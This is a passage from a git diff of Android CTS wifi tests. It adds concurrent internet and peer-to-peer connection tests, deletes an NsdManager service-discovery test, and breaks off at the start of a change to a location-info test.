+ DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ } finally {
+ wifiManager.unregisterScanResultsCallback(scanResultsCallback);
+ }
+ List<ScanResult> scanResults = wifiManager.getScanResults();
+ if (scanResults == null || scanResults.isEmpty()) fail("No scan results available");
+ for (ScanResult scanResult : scanResults) {
+ WifiConfiguration matchingNetwork = savedNetworks.stream()
+ .filter(network -> TextUtils.equals(
+ scanResult.SSID, removeDoubleQuotes(network.SSID)))
+ .findAny()
+ .orElse(null);
+ if (matchingNetwork != null) {
+ // make a copy in case we have 2 bssid's for the same network.
+ WifiConfiguration matchingNetworkCopy = new WifiConfiguration(matchingNetwork);
+ matchingNetworkCopy.BSSID = scanResult.BSSID;
+ matchingNetworksWithBssids.add(matchingNetworkCopy);
+ }
+ }
+ if (!matchingNetworksWithBssids.isEmpty()) break;
+ }
+ return matchingNetworksWithBssids;
+ }
+
+ private void assertConnectionEquals(@NonNull WifiConfiguration network,
+ @NonNull WifiInfo wifiInfo) {
+ assertEquals(network.SSID, wifiInfo.getSSID());
+ assertEquals(network.BSSID, wifiInfo.getBSSID());
+ }
+
+ private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
+ private final CountDownLatch mCountDownLatch;
+ public boolean onAvailableCalled = false;
+ public boolean onUnavailableCalled = false;
+ public NetworkCapabilities networkCapabilities;
+
+ TestNetworkCallback(CountDownLatch countDownLatch) {
+ mCountDownLatch = countDownLatch;
+ }
+
+ @Override
+ public void onAvailable(Network network, NetworkCapabilities networkCapabilities,
+ LinkProperties linkProperties, boolean blocked) {
+ onAvailableCalled = true;
+ this.networkCapabilities = networkCapabilities;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onUnavailable() {
+ onUnavailableCalled = true;
+ mCountDownLatch.countDown();
+ }
+ }
+
+ private static class TestNetworkRequestMatchCallback implements NetworkRequestMatchCallback {
+ private final Object mLock;
+
+ public boolean onRegistrationCalled = false;
+ public boolean onAbortCalled = false;
+ public boolean onMatchCalled = false;
+ public boolean onConnectSuccessCalled = false;
+ public boolean onConnectFailureCalled = false;
+ public WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback = null;
+ public List<ScanResult> matchedScanResults = null;
+
+ TestNetworkRequestMatchCallback(Object lock) {
+ mLock = lock;
+ }
+
+ @Override
+ public void onUserSelectionCallbackRegistration(
+ WifiManager.NetworkRequestUserSelectionCallback userSelectionCallback) {
+ synchronized (mLock) {
+ onRegistrationCalled = true;
+ this.userSelectionCallback = userSelectionCallback;
+ mLock.notify();
+ }
+ }
+
+ @Override
+ public void onAbort() {
+ synchronized (mLock) {
+ onAbortCalled = true;
+ mLock.notify();
+ }
+ }
+
+ @Override
+ public void onMatch(List<ScanResult> scanResults) {
+ synchronized (mLock) {
+ // This can be invoked multiple times. So, ignore after the first one to avoid
+ // disturbing the rest of the test sequence.
+ if (onMatchCalled) return;
+ onMatchCalled = true;
+ matchedScanResults = scanResults;
+ mLock.notify();
+ }
+ }
+
+ @Override
+ public void onUserSelectionConnectSuccess(WifiConfiguration config) {
+ synchronized (mLock) {
+ onConnectSuccessCalled = true;
+ mLock.notify();
+ }
+ }
+
+ @Override
+ public void onUserSelectionConnectFailure(WifiConfiguration config) {
+ synchronized (mLock) {
+ onConnectFailureCalled = true;
+ mLock.notify();
+ }
+ }
+ }
+
+ private void handleUiInteractions(WifiConfiguration network, boolean shouldUserReject) {
+ // can't use CountDownLatch since there are many callbacks expected and CountDownLatch
+ // cannot be reset.
+ // TODO(b/177591382): Use ArrayBlockingQueue/LinkedBlockingQueue
+ Object uiLock = new Object();
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ TestNetworkRequestMatchCallback networkRequestMatchCallback =
+ new TestNetworkRequestMatchCallback(uiLock);
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+
+ // 1. Wait for registration callback.
+ synchronized (uiLock) {
+ try {
+ mWifiManager.registerNetworkRequestMatchCallback(
+ Executors.newSingleThreadExecutor(), networkRequestMatchCallback);
+ uiLock.wait(DURATION_UI_INTERACTION);
+ } catch (InterruptedException e) {
+ }
+ }
+ assertTrue(networkRequestMatchCallback.onRegistrationCalled);
+ assertNotNull(networkRequestMatchCallback.userSelectionCallback);
+
+ // 2. Wait for matching scan results
+ synchronized (uiLock) {
+ try {
+ uiLock.wait(DURATION_UI_INTERACTION);
+ } catch (InterruptedException e) {
+ }
+ }
+ assertTrue(networkRequestMatchCallback.onMatchCalled);
+ assertNotNull(networkRequestMatchCallback.matchedScanResults);
+ assertThat(networkRequestMatchCallback.matchedScanResults.size()).isAtLeast(1);
+
+ // 3. Trigger connection to one of the matched networks or reject the request.
+ if (shouldUserReject) {
+ networkRequestMatchCallback.userSelectionCallback.reject();
+ } else {
+ networkRequestMatchCallback.userSelectionCallback.select(network);
+ }
+
+ // 4. Wait for connection success or abort.
+ synchronized (uiLock) {
+ try {
+ uiLock.wait(DURATION_UI_INTERACTION);
+ } catch (InterruptedException e) {
+ }
+ }
+ if (shouldUserReject) {
+ assertTrue(networkRequestMatchCallback.onAbortCalled);
+ } else {
+ assertTrue(networkRequestMatchCallback.onConnectSuccessCalled);
+ }
+ } finally {
+ mWifiManager.unregisterNetworkRequestMatchCallback(networkRequestMatchCallback);
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+
+ /**
+ * Tests the entire connection flow using the provided specifier.
+ *
+ * @param specifier Specifier to use for network request.
+ * @param shouldUserReject Whether to simulate user rejection or not.
+ */
+ private void testConnectionFlowWithSpecifier(
+ WifiConfiguration network, WifiNetworkSpecifier specifier, boolean shouldUserReject) {
+ CountDownLatch countDownLatch = new CountDownLatch(1);
+ // Fork a thread to handle the UI interactions.
+ Thread uiThread = new Thread(() -> handleUiInteractions(network, shouldUserReject));
+
+ // File the network request & wait for the callback.
+ mNrNetworkCallback = new TestNetworkCallback(countDownLatch);
+ try {
+ // File a request for wifi network.
+ mConnectivityManager.requestNetwork(
+ new NetworkRequest.Builder()
+ .addTransportType(TRANSPORT_WIFI)
+ .removeCapability(NET_CAPABILITY_INTERNET)
+ .setNetworkSpecifier(specifier)
+ .build(),
+ mNrNetworkCallback);
+ // Wait for the request to reach the wifi stack before kick-starting the UI
+ // interactions.
+ Thread.sleep(100);
+ // Start the UI interactions.
+ uiThread.run();
+ // now wait for callback
+ assertTrue(countDownLatch.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ }
+ if (shouldUserReject) {
+ assertTrue(mNrNetworkCallback.onUnavailableCalled);
+ } else {
+ assertTrue(mNrNetworkCallback.onAvailableCalled);
+ assertConnectionEquals(
+ network, (WifiInfo) mNrNetworkCallback.networkCapabilities.getTransportInfo());
+ }
+
+ try {
+ // Ensure that the UI interaction thread has completed.
+ uiThread.join(DURATION_UI_INTERACTION);
+ } catch (InterruptedException e) {
+ fail("UI interaction interrupted");
+ }
+ }
+
+ private void testSuccessfulConnectionWithSpecifier(
+ WifiConfiguration network, WifiNetworkSpecifier specifier) {
+ testConnectionFlowWithSpecifier(network, specifier, false);
+ }
+
+ private void testUserRejectionWithSpecifier(
+ WifiConfiguration network, WifiNetworkSpecifier specifier) {
+ testConnectionFlowWithSpecifier(network, specifier, true);
+ }
+
+ private static String removeDoubleQuotes(String string) {
+ return WifiInfo.sanitizeSsid(string);
+ }
+
+ private static class TestActionListener implements WifiManager.ActionListener {
+ private final CountDownLatch mCountDownLatch;
+ public boolean onSuccessCalled = false;
+ public boolean onFailedCalled = false;
+ public int failureReason = -1;
+
+ TestActionListener(CountDownLatch countDownLatch) {
+ mCountDownLatch = countDownLatch;
+ }
+
+ @Override
+ public void onSuccess() {
+ onSuccessCalled = true;
+ mCountDownLatch.countDown();
+ }
+
+ @Override
+ public void onFailure(int reason) {
+ onFailedCalled = true;
+ mCountDownLatch.countDown();
+ }
+ }
+
+ /**
+ * Triggers connection to one of the saved networks using {@link WifiManager#connect(
+ * WifiConfiguration, WifiManager.ActionListener)}
+ */
+ private void testConnectionFlowWithConnect(@NonNull WifiConfiguration network) {
+ CountDownLatch countDownLatchAl = new CountDownLatch(1);
+ CountDownLatch countDownLatchNr = new CountDownLatch(1);
+ TestActionListener actionListener = new TestActionListener(countDownLatchAl);
+ mNetworkCallback = new TestNetworkCallback(countDownLatchNr);
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+ // File a callback for wifi network.
+ mConnectivityManager.registerNetworkCallback(
+ new NetworkRequest.Builder()
+ .addTransportType(TRANSPORT_WIFI)
+ .addCapability(NET_CAPABILITY_INTERNET)
+ .build(),
+ mNetworkCallback);
+ // Trigger the connection.
+ mWifiManager.connect(network, actionListener);
+ // now wait for action listener callback
+ assertTrue(countDownLatchAl.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+ // check if we got the success callback
+ assertTrue(actionListener.onSuccessCalled);
+
+ // Wait for connection to complete & ensure we are connected to the saved network.
+ assertTrue(countDownLatchNr.await(DURATION_NETWORK_CONNECTION, TimeUnit.MILLISECONDS));
+ assertTrue(mNetworkCallback.onAvailableCalled);
+ assertConnectionEquals(
+ network, (WifiInfo) mNetworkCallback.networkCapabilities.getTransportInfo());
+ } catch (InterruptedException e) {
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
+ private static WifiNetworkSpecifier.Builder
+ createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+ @NonNull WifiConfiguration network) {
+ WifiNetworkSpecifier.Builder specifierBuilder = new WifiNetworkSpecifier.Builder()
+ .setSsid(removeDoubleQuotes(network.SSID))
+ .setBssid(MacAddress.fromString(network.BSSID));
+ if (network.preSharedKey != null) {
+ if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.WPA_PSK)) {
+ specifierBuilder.setWpa2Passphrase(removeDoubleQuotes(network.preSharedKey));
+ } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.SAE)) {
+ specifierBuilder.setWpa3Passphrase(removeDoubleQuotes(network.preSharedKey));
+ } else {
+ fail("Unsupported security type found in saved networks");
+ }
+ } else if (network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+ specifierBuilder.setIsEnhancedOpen(true);
+ } else if (!network.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
+ fail("Unsupported security type found in saved networks");
+ }
+ specifierBuilder.setIsHiddenSsid(network.hiddenSSID);
+ return specifierBuilder;
+ }
+
+ private long getNumWifiConnections() {
+ Network[] networks = mConnectivityManager.getAllNetworks();
+ return Arrays.stream(networks)
+ .filter(n ->
+ mConnectivityManager.getNetworkCapabilities(n).hasTransport(TRANSPORT_WIFI))
+ .count();
+ }
+
+ /**
+ * Tests the concurrent connection flow.
+ * 1. Connect to a network using internet connectivity API.
+ * 2. Connect to a network using peer to peer API.
+ * 3. Verify that both connections are active.
+ */
+ @Test
+ public void testConnectToPeerPeerNetworkWhenConnectedToInternetNetwork() throws Exception {
+ // First trigger internet connectivity.
+ testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+ // Now trigger peer to peer connectivity.
+ WifiNetworkSpecifier specifier =
+ createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+ mTestNetworkForPeerToPeer)
+ .build();
+ testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+ // Ensure that there are 2 wifi connections available for apps.
+ assertEquals(2, getNumWifiConnections());
+ }
+
+ /**
+ * Tests the concurrent connection flow.
+ * 1. Connect to a network using peer to peer API.
+ * 2. Connect to a network using internet connectivity API.
+ * 3. Verify that both connections are active.
+ */
+ @Test
+ public void testConnectToInternetNetworkWhenConnectedToPeerPeerNetwork() throws Exception {
+ // First trigger peer to peer connectivity.
+ WifiNetworkSpecifier specifier =
+ createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+ mTestNetworkForPeerToPeer)
+ .build();
+ testSuccessfulConnectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+ // Now trigger internet connectivity.
+ testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+ // Ensure that there are 2 wifi connections available for apps.
+ assertEquals(2, getNumWifiConnections());
+ }
+
+ /**
+ * Tests the concurrent connection flow.
+ * 1. Connect to a network using internet connectivity API.
+ * 2. Trigger connect to a network using peer to peer API which is rejected by user.
+ * 3. Verify that only one connection is active.
+ */
+ @Test
+ public void testPeerToPeerConnectionRejectWhenConnectedToInternetNetwork() throws Exception {
+ // First trigger internet connectivity.
+ testConnectionFlowWithConnect(mTestNetworkForInternetConnection);
+
+ // Now trigger peer to peer connectivity.
+ WifiNetworkSpecifier specifier =
+ createSpecifierBuilderWithCredentialFromSavedNetworkWithBssid(
+ mTestNetworkForPeerToPeer)
+ .build();
+ testUserRejectionWithSpecifier(mTestNetworkForPeerToPeer, specifier);
+
+ // Ensure that there is only 1 wifi connection available for apps.
+ assertEquals(1, getNumWifiConnections());
+ }
+}
\ No newline at end of file
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
deleted file mode 100644
index a65f06f..0000000
--- a/tests/tests/wifi/src/android/net/wifi/cts/NsdManagerTest.java
+++ /dev/null
@@ -1,594 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.wifi.cts;
-
-import android.content.Context;
-import android.net.nsd.NsdManager;
-import android.net.nsd.NsdServiceInfo;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-import java.io.IOException;
-import java.net.ServerSocket;
-import java.util.Arrays;
-import java.util.Random;
-import java.util.List;
-import java.util.ArrayList;
-
-@AppModeFull(reason = "Socket cannot bind in instant app mode")
-public class NsdManagerTest extends WifiJUnit3TestBase {
-
- private static final String TAG = "NsdManagerTest";
- private static final String SERVICE_TYPE = "_nmt._tcp";
- private static final int TIMEOUT = 2000;
-
- private static final boolean DBG = false;
-
- NsdManager mNsdManager;
-
- NsdManager.RegistrationListener mRegistrationListener;
- NsdManager.DiscoveryListener mDiscoveryListener;
- NsdManager.ResolveListener mResolveListener;
- private NsdServiceInfo mResolvedService;
-
- public NsdManagerTest() {
- initRegistrationListener();
- initDiscoveryListener();
- initResolveListener();
- }
-
- private void initRegistrationListener() {
- mRegistrationListener = new NsdManager.RegistrationListener() {
- @Override
- public void onRegistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
- setEvent("onRegistrationFailed", errorCode);
- }
-
- @Override
- public void onUnregistrationFailed(NsdServiceInfo serviceInfo, int errorCode) {
- setEvent("onUnregistrationFailed", errorCode);
- }
-
- @Override
- public void onServiceRegistered(NsdServiceInfo serviceInfo) {
- setEvent("onServiceRegistered", serviceInfo);
- }
-
- @Override
- public void onServiceUnregistered(NsdServiceInfo serviceInfo) {
- setEvent("onServiceUnregistered", serviceInfo);
- }
- };
- }
-
- private void initDiscoveryListener() {
- mDiscoveryListener = new NsdManager.DiscoveryListener() {
- @Override
- public void onStartDiscoveryFailed(String serviceType, int errorCode) {
- setEvent("onStartDiscoveryFailed", errorCode);
- }
-
- @Override
- public void onStopDiscoveryFailed(String serviceType, int errorCode) {
- setEvent("onStopDiscoveryFailed", errorCode);
- }
-
- @Override
- public void onDiscoveryStarted(String serviceType) {
- NsdServiceInfo info = new NsdServiceInfo();
- info.setServiceType(serviceType);
- setEvent("onDiscoveryStarted", info);
- }
-
- @Override
- public void onDiscoveryStopped(String serviceType) {
- NsdServiceInfo info = new NsdServiceInfo();
- info.setServiceType(serviceType);
- setEvent("onDiscoveryStopped", info);
- }
-
- @Override
- public void onServiceFound(NsdServiceInfo serviceInfo) {
- setEvent("onServiceFound", serviceInfo);
- }
-
- @Override
- public void onServiceLost(NsdServiceInfo serviceInfo) {
- setEvent("onServiceLost", serviceInfo);
- }
- };
- }
-
- private void initResolveListener() {
- mResolveListener = new NsdManager.ResolveListener() {
- @Override
- public void onResolveFailed(NsdServiceInfo serviceInfo, int errorCode) {
- setEvent("onResolveFailed", errorCode);
- }
-
- @Override
- public void onServiceResolved(NsdServiceInfo serviceInfo) {
- mResolvedService = serviceInfo;
- setEvent("onServiceResolved", serviceInfo);
- }
- };
- }
-
-
-
- private final class EventData {
- EventData(String callbackName, NsdServiceInfo info) {
- mCallbackName = callbackName;
- mSucceeded = true;
- mErrorCode = 0;
- mInfo = info;
- }
- EventData(String callbackName, int errorCode) {
- mCallbackName = callbackName;
- mSucceeded = false;
- mErrorCode = errorCode;
- mInfo = null;
- }
- private final String mCallbackName;
- private final boolean mSucceeded;
- private final int mErrorCode;
- private final NsdServiceInfo mInfo;
- }
-
- private final List<EventData> mEventCache = new ArrayList<EventData>();
-
- private void setEvent(String callbackName, int errorCode) {
- if (DBG) Log.d(TAG, callbackName + " failed with " + String.valueOf(errorCode));
- EventData eventData = new EventData(callbackName, errorCode);
- synchronized (mEventCache) {
- mEventCache.add(eventData);
- mEventCache.notify();
- }
- }
-
- private void setEvent(String callbackName, NsdServiceInfo info) {
- if (DBG) Log.d(TAG, "Received event " + callbackName + " for " + info.getServiceName());
- EventData eventData = new EventData(callbackName, info);
- synchronized (mEventCache) {
- mEventCache.add(eventData);
- mEventCache.notify();
- }
- }
-
- void clearEventCache() {
- synchronized(mEventCache) {
- mEventCache.clear();
- }
- }
-
- int eventCacheSize() {
- synchronized(mEventCache) {
- return mEventCache.size();
- }
- }
-
- private int mWaitId = 0;
- private EventData waitForCallback(String callbackName) {
-
- synchronized(mEventCache) {
-
- mWaitId ++;
- if (DBG) Log.d(TAG, "Waiting for " + callbackName + ", id=" + String.valueOf(mWaitId));
-
- try {
- long startTime = android.os.SystemClock.uptimeMillis();
- long elapsedTime = 0;
- int index = 0;
- while (elapsedTime < TIMEOUT ) {
- // first check if we've received that event
- for (; index < mEventCache.size(); index++) {
- EventData e = mEventCache.get(index);
- if (e.mCallbackName.equals(callbackName)) {
- if (DBG) Log.d(TAG, "exiting wait id=" + String.valueOf(mWaitId));
- return e;
- }
- }
-
- // Not yet received, just wait
- mEventCache.wait(TIMEOUT - elapsedTime);
- elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
- }
- // we exited the loop because of TIMEOUT; fail the call
- if (DBG) Log.d(TAG, "timed out waiting id=" + String.valueOf(mWaitId));
- return null;
- } catch (InterruptedException e) {
- return null; // wait timed out!
- }
- }
- }
-
- private EventData waitForNewEvents() throws InterruptedException {
- if (DBG) Log.d(TAG, "Waiting for a bit, id=" + String.valueOf(mWaitId));
-
- long startTime = android.os.SystemClock.uptimeMillis();
- long elapsedTime = 0;
- synchronized (mEventCache) {
- int index = mEventCache.size();
- while (elapsedTime < TIMEOUT ) {
- // first check if we've received that event
- for (; index < mEventCache.size(); index++) {
- EventData e = mEventCache.get(index);
- return e;
- }
-
- // Not yet received, just wait
- mEventCache.wait(TIMEOUT - elapsedTime);
- elapsedTime = android.os.SystemClock.uptimeMillis() - startTime;
- }
- }
-
- return null;
- }
-
- private String mServiceName;
-
- @Override
- public void setUp() throws Exception {
- super.setUp();
- if (DBG) Log.d(TAG, "Setup test ...");
- mNsdManager = (NsdManager) getContext().getSystemService(Context.NSD_SERVICE);
-
- Random rand = new Random();
- mServiceName = new String("NsdTest");
- for (int i = 0; i < 4; i++) {
- mServiceName = mServiceName + String.valueOf(rand.nextInt(10));
- }
- }
-
- @Override
- public void tearDown() throws Exception {
- if (DBG) Log.d(TAG, "Tear down test ...");
- super.tearDown();
- }
-
- public void testNDSManager() throws Exception {
- EventData lastEvent = null;
-
- if (DBG) Log.d(TAG, "Starting test ...");
-
- NsdServiceInfo si = new NsdServiceInfo();
- si.setServiceType(SERVICE_TYPE);
- si.setServiceName(mServiceName);
-
- byte testByteArray[] = new byte[] {-128, 127, 2, 1, 0, 1, 2};
- String String256 = "1_________2_________3_________4_________5_________6_________" +
- "7_________8_________9_________10________11________12________13________" +
- "14________15________16________17________18________19________20________" +
- "21________22________23________24________25________123456";
-
- // Illegal attributes
- try {
- si.setAttribute(null, (String) null);
- fail("Could set null key");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute("", (String) null);
- fail("Could set empty key");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute(String256, (String) null);
- fail("Could set key with 255 characters");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute("key", String256.substring(3));
- fail("Could set key+value combination with more than 255 characters");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute("key", String256.substring(4));
- fail("Could set key+value combination with 255 characters");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute(new String(new byte[]{0x19}), (String) null);
- fail("Could set key with invalid character");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute("=", (String) null);
- fail("Could set key with invalid character");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- try {
- si.setAttribute(new String(new byte[]{0x7F}), (String) null);
- fail("Could set key with invalid character");
- } catch (IllegalArgumentException e) {
- // expected
- }
-
- // Allowed attributes
- si.setAttribute("booleanAttr", (String) null);
- si.setAttribute("keyValueAttr", "value");
- si.setAttribute("keyEqualsAttr", "=");
- si.setAttribute(" whiteSpaceKeyValueAttr ", " value ");
- si.setAttribute("binaryDataAttr", testByteArray);
- si.setAttribute("nullBinaryDataAttr", (byte[]) null);
- si.setAttribute("emptyBinaryDataAttr", new byte[]{});
- si.setAttribute("longkey", String256.substring(9));
-
- ServerSocket socket;
- int localPort;
-
- try {
- socket = new ServerSocket(0);
- localPort = socket.getLocalPort();
- si.setPort(localPort);
- } catch (IOException e) {
- if (DBG) Log.d(TAG, "Could not open a local socket");
- assertTrue(false);
- return;
- }
-
- if (DBG) Log.d(TAG, "Port = " + String.valueOf(localPort));
-
- clearEventCache();
-
- mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
- lastEvent = waitForCallback("onServiceRegistered"); // id = 1
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
- assertTrue(eventCacheSize() == 1);
-
- // We may not always get the name that we tried to register;
- // This events tells us the name that was registered.
- String registeredName = lastEvent.mInfo.getServiceName();
- si.setServiceName(registeredName);
-
- clearEventCache();
-
- mNsdManager.discoverServices(SERVICE_TYPE, NsdManager.PROTOCOL_DNS_SD,
- mDiscoveryListener);
-
- // Expect discovery started
- lastEvent = waitForCallback("onDiscoveryStarted"); // id = 2
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
-
- // Remove this event, so accounting becomes easier later
- synchronized (mEventCache) {
- mEventCache.remove(lastEvent);
- }
-
- // Expect a service record to be discovered (and filter the ones
- // that are unrelated to this test)
- boolean found = false;
- for (int i = 0; i < 32; i++) {
-
- lastEvent = waitForCallback("onServiceFound"); // id = 3
- if (lastEvent == null) {
- // no more onServiceFound events are being reported!
- break;
- }
-
- assertTrue(lastEvent.mSucceeded);
-
- if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
- lastEvent.mInfo.getServiceName());
-
- if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
- // Save it, as it will get overwritten with new serviceFound events
- si = lastEvent.mInfo;
- found = true;
- }
-
- // Remove this event from the event cache, so it won't be found by subsequent
- // calls to waitForCallback
- synchronized (mEventCache) {
- mEventCache.remove(lastEvent);
- }
- }
-
- assertTrue(found);
-
- // We've removed all serviceFound events, and we've removed the discoveryStarted
- // event as well, so now the event cache should be empty!
- assertTrue(eventCacheSize() == 0);
-
- // Resolve the service
- clearEventCache();
- mNsdManager.resolveService(si, mResolveListener);
- lastEvent = waitForCallback("onServiceResolved"); // id = 4
-
- assertNotNull(mResolvedService);
-
- // Check Txt attributes
- assertEquals(8, mResolvedService.getAttributes().size());
- assertTrue(mResolvedService.getAttributes().containsKey("booleanAttr"));
- assertNull(mResolvedService.getAttributes().get("booleanAttr"));
- assertEquals("value", new String(mResolvedService.getAttributes().get("keyValueAttr")));
- assertEquals("=", new String(mResolvedService.getAttributes().get("keyEqualsAttr")));
- assertEquals(" value ", new String(mResolvedService.getAttributes()
- .get(" whiteSpaceKeyValueAttr ")));
- assertEquals(String256.substring(9), new String(mResolvedService.getAttributes()
- .get("longkey")));
- assertTrue(Arrays.equals(testByteArray,
- mResolvedService.getAttributes().get("binaryDataAttr")));
- assertTrue(mResolvedService.getAttributes().containsKey("nullBinaryDataAttr"));
- assertNull(mResolvedService.getAttributes().get("nullBinaryDataAttr"));
- assertTrue(mResolvedService.getAttributes().containsKey("emptyBinaryDataAttr"));
- assertNull(mResolvedService.getAttributes().get("emptyBinaryDataAttr"));
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
-
- if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": Port = " +
- String.valueOf(lastEvent.mInfo.getPort()));
-
- assertTrue(lastEvent.mInfo.getPort() == localPort);
- assertTrue(eventCacheSize() == 1);
-
- checkForAdditionalEvents();
- clearEventCache();
-
- // Unregister the service
- mNsdManager.unregisterService(mRegistrationListener);
- lastEvent = waitForCallback("onServiceUnregistered"); // id = 5
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
-
- // Expect a callback for service lost
- lastEvent = waitForCallback("onServiceLost"); // id = 6
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
- // Register service again to see if we discover it
- checkForAdditionalEvents();
- clearEventCache();
-
- si = new NsdServiceInfo();
- si.setServiceType(SERVICE_TYPE);
- si.setServiceName(mServiceName);
- si.setPort(localPort);
-
- // Create a new registration listener and register same service again
- initRegistrationListener();
-
- mNsdManager.registerService(si, NsdManager.PROTOCOL_DNS_SD, mRegistrationListener);
-
- lastEvent = waitForCallback("onServiceRegistered"); // id = 7
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
-
- registeredName = lastEvent.mInfo.getServiceName();
-
- // Expect a record to be discovered
- // Expect a service record to be discovered (and filter the ones
- // that are unrelated to this test)
- found = false;
- for (int i = 0; i < 32; i++) {
-
- lastEvent = waitForCallback("onServiceFound"); // id = 8
- if (lastEvent == null) {
- // no more onServiceFound events are being reported!
- break;
- }
-
- assertTrue(lastEvent.mSucceeded);
-
- if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
- lastEvent.mInfo.getServiceName());
-
- if (lastEvent.mInfo.getServiceName().equals(registeredName)) {
- // Save it, as it will get overwritten with new serviceFound events
- si = lastEvent.mInfo;
- found = true;
- }
-
- // Remove this event from the event cache, so it won't be found by subsequent
- // calls to waitForCallback
- synchronized (mEventCache) {
- mEventCache.remove(lastEvent);
- }
- }
-
- assertTrue(found);
-
- // Resolve the service
- clearEventCache();
- mNsdManager.resolveService(si, mResolveListener);
- lastEvent = waitForCallback("onServiceResolved"); // id = 9
-
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
-
- if (DBG) Log.d(TAG, "id = " + String.valueOf(mWaitId) + ": ServiceName = " +
- lastEvent.mInfo.getServiceName());
-
- assertTrue(lastEvent.mInfo.getServiceName().equals(registeredName));
-
- assertNotNull(mResolvedService);
-
- // Check that we don't have any TXT records
- assertEquals(0, mResolvedService.getAttributes().size());
-
- checkForAdditionalEvents();
- clearEventCache();
-
- mNsdManager.stopServiceDiscovery(mDiscoveryListener);
- lastEvent = waitForCallback("onDiscoveryStopped"); // id = 10
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
- assertTrue(checkCacheSize(1));
-
- checkForAdditionalEvents();
- clearEventCache();
-
- mNsdManager.unregisterService(mRegistrationListener);
-
- lastEvent = waitForCallback("onServiceUnregistered"); // id = 11
- assertTrue(lastEvent != null);
- assertTrue(lastEvent.mSucceeded);
- assertTrue(checkCacheSize(1));
- }
-
- boolean checkCacheSize(int size) {
- synchronized (mEventCache) {
- int cacheSize = mEventCache.size();
- if (cacheSize != size) {
- Log.d(TAG, "id = " + mWaitId + ": event cache size = " + cacheSize);
- for (int i = 0; i < cacheSize; i++) {
- EventData e = mEventCache.get(i);
- String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
- Log.d(TAG, "eventName is " + e.mCallbackName + sname);
- }
- }
- return (cacheSize == size);
- }
- }
-
- boolean checkForAdditionalEvents() {
- try {
- EventData e = waitForNewEvents();
- if (e != null) {
- String sname = (e.mInfo != null) ? "(" + e.mInfo.getServiceName() + ")" : "";
- Log.d(TAG, "ignoring unexpected event " + e.mCallbackName + sname);
- }
- return (e == null);
- }
- catch (InterruptedException ex) {
- return false;
- }
- }
-}
-
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
index b92b17c..84a050f 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiLocationInfoTest.java
@@ -30,6 +30,7 @@
import android.net.wifi.WifiManager;
